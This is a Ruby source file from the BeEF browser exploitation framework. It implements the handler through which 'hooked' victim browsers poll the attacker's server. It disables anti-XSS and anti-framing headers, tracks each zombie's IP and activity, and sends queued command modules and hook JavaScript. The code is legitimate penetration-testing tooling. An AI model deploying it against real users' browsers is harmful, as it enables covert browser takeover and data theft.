#
# Copyright (c) 2006-2024 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - https://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Core
    module Handlers
      # @note This class handles connections from hooked browsers to the framework.
      class HookedBrowsers < BeEF::Core::Router::Router
        include BeEF::Core::Handlers::Modules::BeEFJS
        include BeEF::Core::Handlers::Modules::MultiStageBeEFJS
        include BeEF::Core::Handlers::Modules::LegacyBeEFJS
        include BeEF::Core::Handlers::Modules::Command

        # antisnatchor: we don't want to have anti-xss/anti-framing headers in the HTTP response for the hook file.
        configure do
          disable :protection
        end

        # Generate the hook js provided to the hookwed browser (the magic happens here)
        def confirm_browser_user_agent(user_agent)
          browser_type = user_agent.split(' ').last # selecting just name/version of browser
          # does the browser already exist in the legacy database / object? Return true if yes
          # browser and therefore which version of the hook file to generate and use
          BeEF::Core::Models::LegacyBrowserUserAgents.user_agents.each do |ua_string|
            return true if ua_string.include? browser_type
          end
          false
        end

        # Process HTTP requests sent by a hooked browser to the framework.
        # It will update the database to add or update the current hooked browser
        # and deploy some command modules or extensions to the hooked browser.
        get '/' do
          @body = ''
          params = request.query_string
          # @response = Rack::Response.new(body=[], 200, header={})
          config = BeEF::Core::Configuration.instance

          # @note check source ip address of browser
          permitted_hooking_subnet = config.get('beef.restrictions.permitted_hooking_subnet')
          if permitted_hooking_subnet.nil? || permitted_hooking_subnet.empty?
            BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
            error 404
          end

          found = false
          permitted_hooking_subnet.each do |subnet|
            found = true if IPAddr.new(subnet).include?(request.ip)
          end

          unless found
            BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from outside of permitted hooking subnet (#{request.ip}) rejected.")
            error 404
          end

          excluded_hooking_subnet = config.get('beef.restrictions.excluded_hooking_subnet')
          unless excluded_hooking_subnet.nil? || excluded_hooking_subnet.empty?
            excluded_ip_hooked = false

            excluded_hooking_subnet.each do |subnet|
              excluded_ip_hooked = true if IPAddr.new(subnet).include?(request.ip)
            end

            if excluded_ip_hooked
              BeEF::Core::Logger.instance.register('Target Range', "Attempted hook from excluded hooking subnet (#{request.ip}) rejected.")
              error 404
            end
          end

          # @note get zombie if already hooked the framework
          hook_session_name = config.get('beef.http.hook_session_name')
          hook_session_id = request[hook_session_name]
          begin
            raise ActiveRecord::RecordNotFound if hook_session_id.nil?

            hooked_browser = BeEF::Core::Models::HookedBrowser.where(session: hook_session_id).first
          rescue ActiveRecord::RecordNotFound
            hooked_browser = false
          end

          # @note is a new browser so return instructions to set up the hook
          if hooked_browser
            # @note Check if we haven't seen this browser for a while, log an event if we haven't
            if (Time.new.to_i - hooked_browser.lastseen.to_i) > 60
              BeEF::Core::Logger.instance.register('Zombie', "#{hooked_browser.ip} appears to have come back online", hooked_browser.id.to_s)
            end

            # @note record the last poll from the browser
            hooked_browser.lastseen = Time.new.to_i

            # @note Check for a change in zombie IP and log an event
            if config.get('beef.http.allow_reverse_proxy') == true
              if hooked_browser.ip != request.env['HTTP_X_FORWARDED_FOR']
                BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.env['HTTP_X_FORWARDED_FOR']}", hooked_browser.id.to_s)
                hooked_browser.ip = request.env['HTTP_X_FORWARDED_FOR']
              end
            elsif hooked_browser.ip != request.ip
              BeEF::Core::Logger.instance.register('Zombie', "IP address has changed from #{hooked_browser.ip} to #{request.ip}", hooked_browser.id.to_s)
              hooked_browser.ip = request.ip
            end

            hooked_browser.count!
            hooked_browser.save!

            # @note add all available command module instructions to the response
            zombie_commands = BeEF::Core::Models::Command.where(hooked_browser_id: hooked_browser.id, instructions_sent: false)
            zombie_commands.each { |command| add_command_instructions(command, hooked_browser) }

            # @note Check if there are any ARE rules to be triggered. If is_sent=false rules are triggered
            are_executions = BeEF::Core::Models::Execution.where(is_sent: false, session_id: hook_session_id)
            are_executions.each do |are_exec|
              @body += are_exec.mod_body
              are_exec.update(is_sent: true, exec_time: Time.new.to_i)
            end

            # @note We dynamically get the list of all browser hook handler using the API and register them
            BeEF::API::Registrar.instance.fire(BeEF::API::Server::Hook, 'pre_hook_send', hooked_browser, @body, params, request, response)
          else

            # @note generate the instructions to hook the browser
            host_name = request.host
            unless BeEF::Filters.is_valid_hostname?(host_name)
              (print_error 'Invalid host name'
              return)
            end

            # Generate the hook js provided to the hookwed browser (the magic happens here)
            if BeEF::Core::Configuration.instance.get('beef.http.websocket.enable')
              print_debug 'Using WebSocket'
              build_beefjs!(host_name)
            elsif confirm_browser_user_agent(request.user_agent)
              print_debug 'Using multi_stage_beefjs'
              multi_stage_beefjs!(host_name)
            else
              print_debug 'Using legacy_build_beefjs'
              legacy_build_beefjs!(host_name)
            end
            # @note is a known browser so send instructions
          end

          # @note set response headers and body
          headers  'Pragma' => 'no-cache',
                   'Cache-Control' => 'no-cache',
                   'Expires' => '0',
                   'Content-Type' => 'text/javascript',
                   'Access-Control-Allow-Origin' => '*',
                   'Access-Control-Allow-Methods' => 'POST, GET'
          @body
        end
      end
    end
  end
end